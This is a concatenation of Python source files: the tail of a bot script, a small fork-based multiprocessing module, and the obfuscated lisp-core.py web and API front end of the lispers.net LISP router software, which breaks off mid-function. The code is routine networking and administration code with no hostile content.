messageServer(sock) messageRecv = Thread(target=messageSetup, args=[]) #messageRecv.start() time.sleep(10) checkServer = Thread(target=serverWatcher, args=[]) #checkServer.start() time.sleep(10) client.run(botID)
multiprocessing.py
import os import pickle import select class Process: def __init__(self, group=None, target=None, name=None, args=(), kwargs={}): self.target = target self.args = args self.kwargs = kwargs self.pid = 0 self.r = self.w = None def start(self): self.pid = os.fork() if not self.pid: if self.r: self.r.close() self.target(*self.args, **self.kwargs) os._exit(0) else: if self.w: self.w.close() return def join(self): os.waitpid(self.pid, 0) def register_pipe(self, r, w): """Extension to CPython API: any pipe used for parent/child communication should be registered with this function.""" self.r, self.w = r, w class Connection: def __init__(self, fd): self.fd = fd self.f = open(fd) def __repr__(self): return "<Connection %s>" % self.f def send(self, obj): s = pickle.dumps(obj) self.f.write(len(s).to_bytes(4, "little")) self.f.write(s) def recv(self): s = self.f.read(4) if not s: raise EOFError l = int.from_bytes(s, "little") s = self.f.read(l) if not s: raise EOFError return pickle.loads(s) def close(self): self.f.close() def Pipe(duplex=True): assert duplex == False r, w = os.pipe() return Connection(r), Connection(w) class AsyncResult: def __init__(self, p, r): self.p = p self.r = r self.ep = None def get(self): res = self.r.recv() self.p.join() return res def ready(self): if not self.ep: self.ep = select.epoll() self.ep.register(self.r.f.fileno(), select.EPOLLIN, None) res = self.ep.poll(0) if res: self.ep.close() return bool(res) class Pool: def __init__(self, num): self.num = num def _apply(self, f, args, kwargs): # This is pretty inefficient impl, doesn't really use pool worker def _exec(w): r = f(*args, **kwargs) w.send(r) r, w = Pipe(False) p = Process(target=_exec, args=(w,)) p.register_pipe(r, w) p.start() return p, r def apply(self, f, args=(), kwargs={}): p, r = self._apply(f, args, kwargs) res = r.recv() p.join() return res def apply_async(self, f, args=(), kwargs={}, callback=None, errback=None): p, r = self._apply(f, args, kwargs) return AsyncResult(p, r)
lisp-core.py
# ----------------------------------------------------------------------------- # # Copyright 2013-2019 lispers.net - Dino Farinacci <farinacci@gmail.com> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # ----------------------------------------------------------------------------- # # lisp-core.py # # This is the core process that is used to demux to the specific LISP # functional components. The 4342 listen socket is centralized here. # # # +------------- data encapsulation via network --------------+ # | | # | IPC when mr & ms colocated | # | +--------------------------------+ | # | | | | # | | IPC when mr & ddt colo | | # | | +------------+ | | # | | | | | | # | | | v v v 4341 # +-------------+ +----------+ +----------+ +----------+ +----------+ # | lisp-[ir]tr | | lisp-mr | | lisp-ddt | | lisp-ms | | lisp-etr | # +-------------+ +----------+ +----------+ +----------+ +----------+ # ^ IPC ^ IPC ^ IPC ^ IPC ^ IPC # | | | | | # | | | | | # | | | | | # +--------------+--------------+--------------+--------------+ # | # | for dispatching control messages # +-----------+ # | lisp-core | # +-----------+ # | 4342 # | # via network # # ----------------------------------------------------------------------------- if 64 - 64: i11iIiiIii import lisp import lispconfig import multiprocessing import threading import commands import time import os import bottle from cherrypy import wsgiserver from cherrypy . wsgiserver . ssl_pyopenssl import pyOpenSSLAdapter if 65 - 65: O0 / iIii1I11I1II1 % OoooooooOO - i1IIi import json import sys import socket import thread if 73 - 73: II111iiii if 22 - 22: I1IiiI * Oo0Ooo / OoO0O00 . OoOoOO00 . o0oOOo0O0Ooo / I1ii11iIi11i if 48 - 48: oO0o / OOooOOo / I11i / Ii1I if 48 - 48: iII111i % IiII + I1Ii111 / ooOoO0o * Ii1I if 46 - 46: ooOoO0o * I11i - OoooooooOO if 30 - 30: o0oOOo0O0Ooo - O0 % o0oOOo0O0Ooo - OoooooooOO * O0 * OoooooooOO Oo0o = "" if 60 - 60: I1ii11iIi11i + I1Ii111 - I11i / i1IIi Ii1iI = None Oo = None I1Ii11I1Ii1i = None Ooo = [ None , None , None ] o0oOoO00o = None if 43 - 43: Ii1I . oO0o if 27 - 27: OoO0O00 - O0 . I1Ii111 * iII111i - I1ii11iIi11i if 15 - 15: I1IiiI if 90 - 90: IiII * i1IIi / Ii1I . OoO0O00 * oO0o if 16 - 16: ooOoO0o * IiII % I11i . I1Ii111 / IiII % iII111i if 27 - 27: IiII . i1IIi * OoOoOO00 % Ii1I / i1IIi if 3 - 3: IiII / ooOoO0o if 28 - 28: ooOoO0o + I1Ii111 - ooOoO0o . OoooooooOO @ bottle . route ( '/lisp/api' , method = "get" ) @ bottle . route ( '/lisp/api/<command>' , method = "get" ) @ bottle . route ( '/lisp/api/<command>/<data_structure>' , method = "get" ) def oO0 ( command = "" , data_structure = "" ) : IIIi1i1I = [ { "?" : [ { "?" : "not-auth" } ] } ] if 72 - 72: Oo0Ooo % OOooOOo . I1IiiI / I11i * I1IiiI if 31 - 31: II111iiii + OoO0O00 . I1Ii111 if 68 - 68: I1IiiI - i11iIiiIii - OoO0O00 / OOooOOo - OoO0O00 + i1IIi if 48 - 48: OoooooooOO % o0oOOo0O0Ooo . I1IiiI - Ii1I % i1IIi % OoooooooOO if ( bottle . request . auth != None ) : i1iIIi1 , ii11iIi1I = bottle . request . auth if ( lispconfig . lisp_find_user_account ( i1iIIi1 , ii11iIi1I ) == False ) : return ( json . dumps ( IIIi1i1I ) ) if 6 - 6: OoOoOO00 * iII111i else : if ( bottle . request . headers [ "User-Agent" ] . find ( "python" ) != - 1 ) : return ( json . dumps ( IIIi1i1I ) ) if 67 - 67: ooOoO0o - oO0o * o0oOOo0O0Ooo % o0oOOo0O0Ooo % I11i * OoOoOO00 if ( lispconfig . lisp_validate_user ( ) == False ) : return ( json . dumps ( IIIi1i1I ) ) if 26 - 26: Ii1I - o0oOOo0O0Ooo if 63 - 63: II111iiii . II111iiii if 32 - 32: i1IIi . I11i % OoO0O00 . o0oOOo0O0Ooo if 42 - 42: I1Ii111 + I1ii11iIi11i if 70 - 70: Oo0Ooo % Oo0Ooo . IiII % OoO0O00 * o0oOOo0O0Ooo % oO0o if 23 - 23: i11iIiiIii + I1IiiI if 68 - 68: OoOoOO00 . oO0o . i11iIiiIii if ( command == "data" and data_structure != "" ) : II = bottle . request . body . readline ( ) IIIi1i1I = json . loads ( II ) if II != "" else "" if ( IIIi1i1I != "" ) : IIIi1i1I = IIIi1i1I . values ( ) [ 0 ] if ( IIIi1i1I == [ ] ) : IIIi1i1I = "" if 14 - 14: Oo0Ooo . I1IiiI / Ii1I if ( type ( IIIi1i1I ) == dict and type ( IIIi1i1I . values ( ) [ 0 ] ) == dict ) : IIIi1i1I = IIIi1i1I . values ( ) [ 0 ] if 38 - 38: II111iiii % i11iIiiIii . ooOoO0o - OOooOOo + Ii1I if 66 - 66: OoooooooOO * OoooooooOO . OOooOOo . i1IIi - OOooOOo IIIi1i1I = o0o00ooo0 ( data_structure , IIIi1i1I ) return ( IIIi1i1I ) if 96 - 96: O0 % oO0o % iIii1I11I1II1 if 78 - 78: iIii1I11I1II1 - Ii1I * OoO0O00 + o0oOOo0O0Ooo + iII111i + iII111i if 11 - 11: iII111i - OoO0O00 % ooOoO0o % iII111i / OoOoOO00 - OoO0O00 if 74 - 74: iII111i * O0 if 89 - 89: oO0o + Oo0Ooo if ( command != "" ) : command = "lisp " + command else : II = bottle . request . body . readline ( ) if ( II == "" ) : IIIi1i1I = [ { "?" : [ { "?" : "no-body" } ] } ] return ( json . dumps ( IIIi1i1I ) ) if 3 - 3: i1IIi / I1IiiI % I11i * i11iIiiIii / O0 * I11i if 49 - 49: oO0o % Ii1I + i1IIi . I1IiiI % I1ii11iIi11i IIIi1i1I = json . loads ( II ) command = IIIi1i1I . keys ( ) [ 0 ] if 48 - 48: I11i + I11i / II111iiii / iIii1I11I1II1 if 20 - 20: o0oOOo0O0Ooo IIIi1i1I = lispconfig . lisp_get_clause_for_api ( command ) return ( json . dumps ( IIIi1i1I ) ) if 77 - 77: OoOoOO00 / I11i if 98 - 98: iIii1I11I1II1 / i1IIi / i11iIiiIii / o0oOOo0O0Ooo if 28 - 28: OOooOOo - IiII . IiII + OoOoOO00 - OoooooooOO + O0 if 95 - 95: OoO0O00 % oO0o . O0 if 15 - 15: ooOoO0o / Ii1I . Ii1I - i1IIi if 53 - 53: IiII + I1IiiI * oO0o if 61 - 61: i1IIi * OOooOOo / OoooooooOO . i11iIiiIii . OoOoOO00 def o00O ( ) : IIIi1i1I = { } IIIi1i1I [ "hostname" ] = socket . gethostname ( ) IIIi1i1I [ "system-uptime" ] = commands . getoutput ( "uptime" ) IIIi1i1I [ "lisp-uptime" ] = lisp . lisp_print_elapsed ( lisp . lisp_uptime ) IIIi1i1I [ "lisp-version" ] = lisp . lisp_version if 69 - 69: oO0o % I1Ii111 - o0oOOo0O0Ooo + I1Ii111 - O0 % OoooooooOO Iii111II = "yes" if os . path . exists ( "./logs/lisp-traceback.log" ) else "no" IIIi1i1I [ "traceback-log" ] = Iii111II if 9 - 9: OoO0O00 i11 = lisp . lisp_myrlocs [ 0 ] O0oo0OO0oOOOo = lisp . lisp_myrlocs [ 1 ] i11 = "none" if ( i11 == None ) else i11 . print_address_no_iid ( ) O0oo0OO0oOOOo = "none" if ( O0oo0OO0oOOOo == None ) else O0oo0OO0oOOOo . print_address_no_iid ( ) IIIi1i1I [ "lisp-rlocs" ] = [ i11 , O0oo0OO0oOOOo ] return ( json . dumps ( IIIi1i1I ) ) if 35 - 35: IiII % I1IiiI if 70 - 70: iII111i * I1ii11iIi11i if 46 - 46: ooOoO0o / OoO0O00 if 52 - 52: o0oOOo0O0Ooo - OoooooooOO + Ii1I + Ii1I - o0oOOo0O0Ooo / I1Ii111 if 44 - 44: ooOoO0o . i1IIi - I1ii11iIi11i . O0 - ooOoO0o if 92 - 92: iII111i . I11i + o0oOOo0O0Ooo if 28 - 28: i1IIi * Oo0Ooo - o0oOOo0O0Ooo * IiII * Ii1I / OoO0O00 if 94 - 94: II111iiii % I1ii11iIi11i / OoOoOO00 * iIii1I11I1II1 if 54 - 54: o0oOOo0O0Ooo - I1IiiI + OoooooooOO if 70 - 70: Ii1I / I11i . iII111i % Oo0Ooo if 67 - 67: OoOoOO00 * o0oOOo0O0Ooo . IiII - OoO0O00 * o0oOOo0O0Ooo if 46 - 46: OOooOOo + OoOoOO00 . I1IiiI * oO0o % IiII if 86 - 86: I1IiiI + Ii1I % i11iIiiIii * oO0o . ooOoO0o * I11i if 44 - 44: oO0o if 88 - 88: I1Ii111 % Ii1I . II111iiii def o0o00ooo0 ( data_structure , data ) : iI1ii1Ii = [ "site-cache" , "map-cache" , "system" , "map-resolver" , "map-server" , "database-mapping" ] if 92 - 92: OoOoOO00 if ( data_structure not in iI1ii1Ii ) : return ( json . dumps ( [ ] ) ) if 26 - 26: iII111i . I1Ii111 if 68 - 68: OoO0O00 if 35 - 35: OoO0O00 - iII111i / Oo0Ooo / OoOoOO00 if 24 - 24: ooOoO0o - ooOoO0o / II111iiii - I1ii11iIi11i if ( data_structure == "system" ) : return ( o00O ( ) ) if 69 - 69: oO0o . I1Ii111 + Ii1I / Oo0Ooo - oO0o if 63 - 63: OOooOOo % oO0o * oO0o * OoO0O00 / I1ii11iIi11i if 74 - 74: II111iiii if 75 - 75: o0oOOo0O0Ooo . ooOoO0o if ( data != "" ) : data = json . dumps ( data ) Oo0O00Oo0o0 = lisp . lisp_api_ipc ( "lisp-core" , data_structure + "%" + data ) if 87 - 87: ooOoO0o * Oo0Ooo % i11iIiiIii % OoOoOO00 - OOooOOo if ( data_structure in [ "map-cache" , "map-resolver" ] ) : if ( lisp . lisp_is_running ( "lisp-rtr" ) ) : lisp . lisp_ipc_lock . acquire ( ) lisp . lisp_ipc ( Oo0O00Oo0o0 , Oo , "lisp-rtr" ) elif ( lisp . lisp_is_running ( "lisp-itr" ) ) : lisp . lisp_ipc_lock . acquire ( ) lisp . lisp_ipc ( Oo0O00Oo0o0 , Oo , "lisp-itr" ) else : return ( json . dumps ( [ ] ) ) if 68 - 68: I1Ii111 % i1IIi . IiII . I1ii11iIi11i if 92 - 92: iII111i . I1Ii111 if ( data_structure in [ "map-server" , "database-mapping" ] ) : if ( lisp . lisp_is_running ( "lisp-etr" ) ) : lisp . lisp_ipc_lock . acquire ( ) lisp . lisp_ipc ( Oo0O00Oo0o0 , Oo , "lisp-etr" ) else : return ( json . dumps ( [ ] ) ) if 31 - 31: I1Ii111 . OoOoOO00 / O0 if 89 - 89: OoOoOO00 if ( data_structure == "site-cache" ) : if ( lisp . lisp_is_running ( "lisp-ms" ) ) : lisp . lisp_ipc_lock . acquire ( ) lisp . lisp_ipc ( Oo0O00Oo0o0 , Oo , "lisp-ms" ) else : return ( json . dumps ( [ ] ) ) if 68 - 68: OoO0O00 * OoooooooOO % O0 + OoO0O00 + ooOoO0o if 4 - 4: ooOoO0o + O0 * OOooOOo if 55 - 55: Oo0Ooo + iIii1I11I1II1 / OoOoOO00 * oO0o - i11iIiiIii - Ii1I lisp . lprint ( "Waiting for api get-data '{}', parmameters: '{}'" . format ( data_structure , data ) ) if 25 - 25: I1ii11iIi11i if 7 - 7: i1IIi / I1IiiI * I1Ii111 . IiII . iIii1I11I1II1 iIii , ooo0O , oOoO0o00OO0 , i1I1ii = lisp . lisp_receive ( Oo , True ) lisp . lisp_ipc_lock . release ( ) return ( i1I1ii ) if 61 - 61: II111iiii if 64 - 64: ooOoO0o / OoOoOO00 - O0 - I11i if 86 - 86: I11i % OoOoOO00 / I1IiiI / OoOoOO00 if 42 - 42: OoO0O00 if 67 - 67: I1Ii111 . iII111i . O0 if 10 - 10: I1ii11iIi11i % I1ii11iIi11i - iIii1I11I1II1 / OOooOOo + Ii1I if 87 - 87: oO0o * I1ii11iIi11i + OOooOOo / iIii1I11I1II1 / iII111i @ bottle . route ( '/lisp/api' , method = "put" ) @ bottle . route ( '/lisp/api/<command>' , method = "put" ) @ bottle . route ( '/lisp/api/<command>' , method = "delete" ) def I1111IIi ( command = "" ) : IIIi1i1I = [ { "?" : [ { "?" : "not-auth" } ] } ] if ( bottle . request . auth == None ) : return ( IIIi1i1I ) if 93 - 93: OoooooooOO / I1IiiI % i11iIiiIii + I1ii11iIi11i * OoO0O00 if 15 - 15: I11i . OoO0O00 / Oo0Ooo + I11i if 78 - 78: O0 . oO0o . II111iiii % OOooOOo if 49 - 49: Ii1I / OoO0O00 . II111iiii if ( bottle . request . auth != None ) : i1iIIi1 , ii11iIi1I = bottle . request . auth if ( lispconfig . lisp_find_user_account ( i1iIIi1 , ii11iIi1I ) == False ) : return ( json . dumps ( IIIi1i1I ) ) if 68 - 68: i11iIiiIii % I1ii11iIi11i + i11iIiiIii else : if ( bottle . request . headers [ "User-Agent" ] . find ( "python" ) != - 1 ) : return ( json . dumps ( IIIi1i1I ) ) if 31 - 31: II111iiii . I1IiiI if ( lispconfig . lisp_validate_user ( ) == False ) : return ( json . dumps ( IIIi1i1I ) ) if 1 - 1: Oo0Ooo / o0oOOo0O0Ooo % iII111i * IiII . i11iIiiIii if 2 - 2: I1ii11iIi11i * I11i - iIii1I11I1II1 + I1IiiI . oO0o % iII111i if 92 - 92: iII111i if 25 - 25: Oo0Ooo - I1IiiI / OoooooooOO / o0oOOo0O0Ooo if 12 - 12: I1IiiI * iII111i % i1IIi % iIii1I11I1II1 if 20 - 20: OOooOOo % Ii1I / Ii1I + Ii1I if 45 - 45: oO0o - IiII - OoooooooOO - OoO0O00 . II111iiii / O0 if ( command == "user-account" ) : if ( lispconfig . lisp_is_user_superuser ( i1iIIi1 ) == False ) : IIIi1i1I = [ { "user-account" : [ { "?" : "not-auth" } ] } ] return ( json . dumps ( IIIi1i1I ) ) if 51 - 51: O0 + iII111i if 8 - 8: oO0o * OoOoOO00 - Ii1I - OoO0O00 * OOooOOo % I1IiiI if 48 - 48: O0 if 11 - 11: I11i + OoooooooOO - OoO0O00 / o0oOOo0O0Ooo + Oo0Ooo . II111iiii if 41 - 41: Ii1I - O0 - O0 if 68 - 68: OOooOOo % I1Ii111 II = bottle . request . body . readline ( ) if ( II == "" ) : IIIi1i1I = [ { "?" : [ { "?" : "no-body" } ] } ] return ( json . dumps ( IIIi1i1I ) ) if 88 - 88: iIii1I11I1II1 - ooOoO0o + OOooOOo if 40 - 40: I1IiiI * Ii1I + OOooOOo % iII111i IIIi1i1I = json . loads ( II ) if ( command != "" ) : command = "lisp " + command else : command = IIIi1i1I [ 0 ] . keys ( ) [ 0 ] if 74 - 74: oO0o - Oo0Ooo + OoooooooOO + I1Ii111 / OoOoOO00 if 23 - 23: O0 if 85 - 85: Ii1I if 84 - 84: I1IiiI . iIii1I11I1II1 % OoooooooOO + Ii1I % OoooooooOO % OoO0O00 if 42 - 42: OoO0O00 / I11i / o0oOOo0O0Ooo + iII111i / OoOoOO00 if 84 - 84: ooOoO0o * II111iiii + Oo0Ooo lisp . lisp_ipc_lock . acquire ( ) if ( bottle . request . method == "DELETE" ) : IIIi1i1I = lispconfig . lisp_remove_clause_for_api ( IIIi1i1I ) else : IIIi1i1I = lispconfig . lisp_put_clause_for_api ( IIIi1i1I ) if 53 - 53: iII111i % II111iiii . IiII - iIii1I11I1II1 - IiII * II111iiii lisp . lisp_ipc_lock . release ( ) return ( json . dumps ( IIIi1i1I ) ) if 77 - 77: iIii1I11I1II1 * OoO0O00 if 95 - 95: I1IiiI + i11iIiiIii if 6 - 6: ooOoO0o / i11iIiiIii + iII111i * oO0o if 80 - 80: II111iiii if 83 - 83: I11i . i11iIiiIii + II111iiii . o0oOOo0O0Ooo * I11i @ bottle . route ( '/lisp/show/api-doc' , method = "get" ) def oooO0 ( ) : if ( os . path . exists ( "lispapi.py" ) ) : os . system ( "pydoc lispapi > lispapi.txt" ) if ( os . path . exists ( "lispapi.txt" ) == False ) : return ( "lispapi.txt file not found" ) if 46 - 46: I1Ii111 return ( bottle . static_file ( "lispapi.txt" , root = "./" ) ) if 60 - 60: o0oOOo0O0Ooo if 25 - 25: OoO0O00 if 62 - 62: OOooOOo + O0 if 98 - 98: o0oOOo0O0Ooo if 51 - 51: Oo0Ooo - oO0o + II111iiii * Ii1I . I11i + oO0o @ bottle . route ( '/lisp/show/command-doc' , method = "get" ) def OoO0o ( ) : return ( bottle . static_file ( "lisp.config.example" , root = "./" , mimetype = "text/plain" ) ) if 78 - 78: oO0o % O0 % Ii1I if 46 - 46: OoooooooOO . i11iIiiIii if 94 - 94: o0oOOo0O0Ooo * Ii1I / Oo0Ooo / Ii1I if 87 - 87: Oo0Ooo . IiII if 75 - 75: ooOoO0o + OoOoOO00 + o0oOOo0O0Ooo * I11i % oO0o . iII111i if 55 - 55: OOooOOo . I1IiiI if 61 - 61: Oo0Ooo % IiII . Oo0Ooo @ bottle . route ( '/lisp/show/lisp-xtr' , method = "get" ) def o0oOO000oO0oo ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 77 - 77: Oo0Ooo - i1IIi - I11i . OoOoOO00 if 39 - 39: II111iiii / ooOoO0o + I1Ii111 / OoOoOO00 if 13 - 13: IiII + O0 + iII111i % I1IiiI / o0oOOo0O0Ooo . IiII if 86 - 86: oO0o * o0oOOo0O0Ooo % i1IIi . Ii1I . i11iIiiIii if 56 - 56: I1ii11iIi11i % O0 - I1IiiI if 100 - 100: Ii1I - O0 % oO0o * OOooOOo + I1IiiI if ( os . path . exists ( "./show-ztr" ) ) : Oo0O0oooo = open ( "./show-ztr" , "r" ) ; I111iI = Oo0O0oooo . read ( ) ; Oo0O0oooo . close ( ) else : Oo0O0oooo = open ( "./show-xtr" , "r" ) ; I111iI = Oo0O0oooo . read ( ) ; Oo0O0oooo . close ( ) if 56 - 56: I1IiiI if 54 - 54: I1Ii111 / OOooOOo . oO0o % iII111i OoO0OOOOo0O = "" I111iI = I111iI . split ( "\n" ) for OooOO in I111iI : if ( OooOO [ 0 : 4 ] == " " ) : OoO0OOOOo0O += lisp . lisp_space ( 4 ) if ( OooOO [ 0 : 2 ] == " " ) : OoO0OOOOo0O += lisp . lisp_space ( 2 ) OoO0OOOOo0O += OooOO + "<br>" if 21 - 21: I11i / IiII % iIii1I11I1II1 * Oo0Ooo OoO0OOOOo0O = lisp . convert_font ( OoO0OOOOo0O ) return ( lisp . lisp_print_sans ( OoO0OOOOo0O ) ) if 57 - 57: II111iiii + i1IIi if 10 - 10: oO0o + i1IIi if 87 - 87: I1IiiI if 58 - 58: OoOoOO00 % o0oOOo0O0Ooo if 50 - 50: I1Ii111 . o0oOOo0O0Ooo if 97 - 97: O0 + OoOoOO00 if 89 - 89: o0oOOo0O0Ooo + OoO0O00 * I11i * Ii1I @ bottle . route ( '/lisp/show/<xtr>/keys' , method = "get" ) def iiIiI1i1 ( xtr ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 69 - 69: ooOoO0o I11iII = lispconfig . lisp_is_user_superuser ( None ) if 5 - 5: I1IiiI if ( I11iII == False ) : i1I1ii = "Permission denied" return ( lispconfig . lisp_show_wrapper ( lisp . lisp_print_cour ( i1I1ii ) ) ) if 48 - 48: o0oOOo0O0Ooo - oO0o / OoooooooOO if 100 - 100: I1IiiI / o0oOOo0O0Ooo % II111iiii % Oo0Ooo % OOooOOo if ( xtr not in [ "itr" , "etr" , "rtr" ] ) : i1I1ii = "Invalid URL" return ( lispconfig . lisp_show_wrapper ( lisp . lisp_print_cour ( i1I1ii ) ) ) if 98 - 98: I11i % i11iIiiIii % ooOoO0o + Ii1I OOoOO0o0o0 = "show {}-keys" . format ( xtr ) return ( lispconfig . lisp_process_show_command ( Oo , OOoOO0o0o0 ) ) if 11 - 11: I1IiiI if 16 - 16: Ii1I + IiII * O0 % i1IIi . I1IiiI if 67 - 67: OoooooooOO / I1IiiI * Ii1I + I11i if 65 - 65: OoooooooOO - I1ii11iIi11i / ooOoO0o / II111iiii / i1IIi if 71 - 71: I1Ii111 + Ii1I if 28 - 28: OOooOOo if 38 - 38: ooOoO0o % II111iiii % I11i / OoO0O00 + OoOoOO00 / i1IIi if 54 - 54: iIii1I11I1II1 % I1ii11iIi11i - OOooOOo / oO0o - OoO0O00 . I11i @ bottle . route ( '/lisp/geo-map/<geo_prefix>' ) def IIo0Oo0oO0oOO00 ( geo_prefix ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 92 - 92: OoooooooOO * I1Ii111 if 100 - 100: I1Ii111 + I1Ii111 * IiII geo_prefix = geo_prefix . split ( "-" ) geo_prefix = "-" . join ( geo_prefix [ 0 : - 1 ] ) + "/" + geo_prefix [ - 1 ] I1i = lisp . lisp_geo ( "" ) I1i . parse_geo_string ( geo_prefix ) O00Oooo , i11I = I1i . dms_to_decimal ( ) o00Oo0oooooo = I1i . radius * 1000 if 76 - 76: I11i / OOooOOo . O0 % I1IiiI . o0oOOo0O0Ooo + IiII o0o = open ( "./lispers.net-geo.html" , "r" ) ; oo0 = o0o . read ( ) ; o0o . close ( ) oo0 = oo0 . replace ( "$LAT" , str ( O00Oooo ) ) oo0 = oo0 . replace ( "$LON" , str ( i11I ) ) oo0 = oo0 . replace ( "$RADIUS" , str ( o00Oo0oooooo ) ) return ( oo0 ) if 61 - 61: OoOoOO00 - OOooOOo - i1IIi if 25 - 25: O0 * I11i + I1ii11iIi11i . o0oOOo0O0Ooo . o0oOOo0O0Ooo if 58 - 58: I1IiiI if 53 - 53: i1IIi if 59 - 59: o0oOOo0O0Ooo if 81 - 81: OoOoOO00 - OoOoOO00 . iII111i if 73 - 73: I11i % i11iIiiIii - I1IiiI @ bottle . route ( '/lisp/login' , method = "get" ) def oOO00O ( ) : return ( lispconfig . lisp_login_page ( ) ) if 7 - 7: O0 * i11iIiiIii * Ii1I + ooOoO0o % OoO0O00 - ooOoO0o if 39 - 39: Oo0Ooo * OOooOOo % OOooOOo - OoooooooOO + o0oOOo0O0Ooo - I11i if 23 - 23: i11iIiiIii if 30 - 30: o0oOOo0O0Ooo - i1IIi % II111iiii + I11i * iIii1I11I1II1 if 81 - 81: IiII % i1IIi . iIii1I11I1II1 if 4 - 4: i11iIiiIii % OoO0O00 % i1IIi / IiII if 6 - 6: iII111i / I1IiiI % OOooOOo - I1IiiI if 31 - 31: OOooOOo @ bottle . route ( '/lisp/login' , method = "post" ) def i1 ( ) : if ( lispconfig . lisp_validate_user ( ) ) : return ( lispconfig . lisp_landing_page ( ) ) if 88 - 88: OoO0O00 - ooOoO0o + OOooOOo * I1IiiI % iIii1I11I1II1 + Oo0Ooo return ( oOO00O ( ) ) if 76 - 76: I1IiiI * iII111i % I1Ii111 if 57 - 57: iIii1I11I1II1 - i1IIi / I1Ii111 - O0 * OoooooooOO % II111iiii if 68 - 68: OoooooooOO * I11i % OoOoOO00 - IiII if 34 - 34: I1Ii111 . iIii1I11I1II1 * OoOoOO00 * oO0o / I1Ii111 / I1ii11iIi11i if 78 - 78: Oo0Ooo - o0oOOo0O0Ooo / OoOoOO00 if 10 - 10: iII111i + Oo0Ooo * I1ii11iIi11i + iIii1I11I1II1 / I1Ii111 / I1ii11iIi11i if 42 - 42: I1IiiI @ bottle . route ( '/lisp' ) def II1i11I ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 50 - 50: OoooooooOO % I11i return ( lispconfig . lisp_landing_page ( ) ) if 49 - 49: oO0o - i11iIiiIii . I1Ii111 * Ii1I % iII111i + i1IIi if 71 - 71: o0oOOo0O0Ooo if 38 - 38: oO0o % OoOoOO00 + I1ii11iIi11i . i11iIiiIii if 53 - 53: i11iIiiIii * iII111i if 68 - 68: iIii1I11I1II1 * iIii1I11I1II1 . o0oOOo0O0Ooo / II111iiii % Oo0Ooo if 38 - 38: ooOoO0o - OOooOOo / iII111i if 66 - 66: O0 % I1ii11iIi11i + i11iIiiIii . OoOoOO00 / Ii1I + I1ii11iIi11i @ bottle . route ( '/lisp/traceback' ) def ooo00Ooo ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 93 - 93: i11iIiiIii - I1IiiI * I1ii11iIi11i * I11i % O0 + OoooooooOO if 25 - 25: IiII + Ii1I / ooOoO0o . o0oOOo0O0Ooo % O0 * OoO0O00 o0O0oo0OO0O = True if 68 - 68: oO0o . I11i % OoooooooOO . I11i if 64 - 64: iIii1I11I1II1 / I1IiiI . II111iiii + OoooooooOO . OoO0O00 if 56 - 56: Oo0Ooo . I1ii11iIi11i . I1IiiI if 39 - 39: O0 + I1Ii111 if ( os . path . exists ( "./logs/lisp-traceback.log" ) ) : i1I1ii = commands . getoutput ( "cat ./logs/lisp-traceback.log" ) if ( i1I1ii ) : i1I1ii = i1I1ii . replace ( "----------" , "<b>----------</b>" ) i1I1ii = i1I1ii . replace ( "\n" , "<br>" ) o0O0oo0OO0O = False if 91 - 91: OoooooooOO - iIii1I11I1II1 + OoOoOO00 / OoO0O00 . OoOoOO00 + O0 if 26 - 26: I1ii11iIi11i - OoooooooOO if 11 - 11: I1IiiI * oO0o if 81 - 81: iII111i + IiII if 98 - 98: I1IiiI if 95 - 95: ooOoO0o / ooOoO0o if ( o0O0oo0OO0O ) : i1I1ii = "" IIiI1Ii = "egrep --with-filename Traceback ./logs/*.log" O0O0O0Oo = commands . getoutput ( IIiI1Ii ) O0O0O0Oo = O0O0O0Oo . split ( "\n" ) for OOOOoO00o0O in O0O0O0Oo : if ( OOOOoO00o0O . find ( ":" ) == - 1 ) : continue OooOO = OOOOoO00o0O . split ( ":" ) if ( OooOO [ 1 ] == "0" ) : continue i1I1ii += "Found Tracebacks in log file {}<br>" . format ( OooOO [ 0 ] ) o0O0oo0OO0O = False if 41 - 41: OOooOOo * Ii1I - IiII + o0oOOo0O0Ooo i1I1ii = i1I1ii [ 0 : - 4 ] if 64 - 64: Ii1I if 66 - 66: i11iIiiIii - OOooOOo * Oo0Ooo if ( o0O0oo0OO0O ) : i1I1ii = "No Tracebacks found - a stable system is a happy system" if 76 - 76: i11iIiiIii + o0oOOo0O0Ooo / I1ii11iIi11i - OoO0O00 - Ii1I + I1ii11iIi11i if 51 - 51: iIii1I11I1II1 . ooOoO0o + iIii1I11I1II1 i1I1ii = lisp . lisp_print_cour ( i1I1ii ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 95 - 95: I1IiiI if 46 - 46: OoOoOO00 + OoO0O00 if 70 - 70: iII111i / iIii1I11I1II1 if 85 - 85: OoooooooOO % i1IIi * OoooooooOO / I1ii11iIi11i if 96 - 96: OoooooooOO + oO0o if 44 - 44: oO0o if 20 - 20: I11i + Ii1I / O0 % iIii1I11I1II1 @ bottle . route ( '/lisp/show/not-supported' ) def oOo0O ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 64 - 64: I1ii11iIi11i - iII111i + iII111i - I11i return ( lispconfig . lisp_not_supported ( ) ) if 30 - 30: iIii1I11I1II1 . I1IiiI . OOooOOo / o0oOOo0O0Ooo if 42 - 42: Oo0Ooo if 19 - 19: oO0o % I1ii11iIi11i * iIii1I11I1II1 + I1IiiI if 46 - 46: Oo0Ooo if 1 - 1: iII111i if 97 - 97: OOooOOo + iII111i + O0 + i11iIiiIii if 77 - 77: o0oOOo0O0Ooo / OoooooooOO @ bottle . route ( '/lisp/show/status' ) def IIii11I1i1I ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 99 - 99: iII111i if 76 - 76: OoO0O00 * I1IiiI if 82 - 82: Ii1I * iII111i / I1ii11iIi11i if 36 - 36: OoooooooOO - i1IIi . O0 / II111iiii + o0oOOo0O0Ooo if 33 - 33: 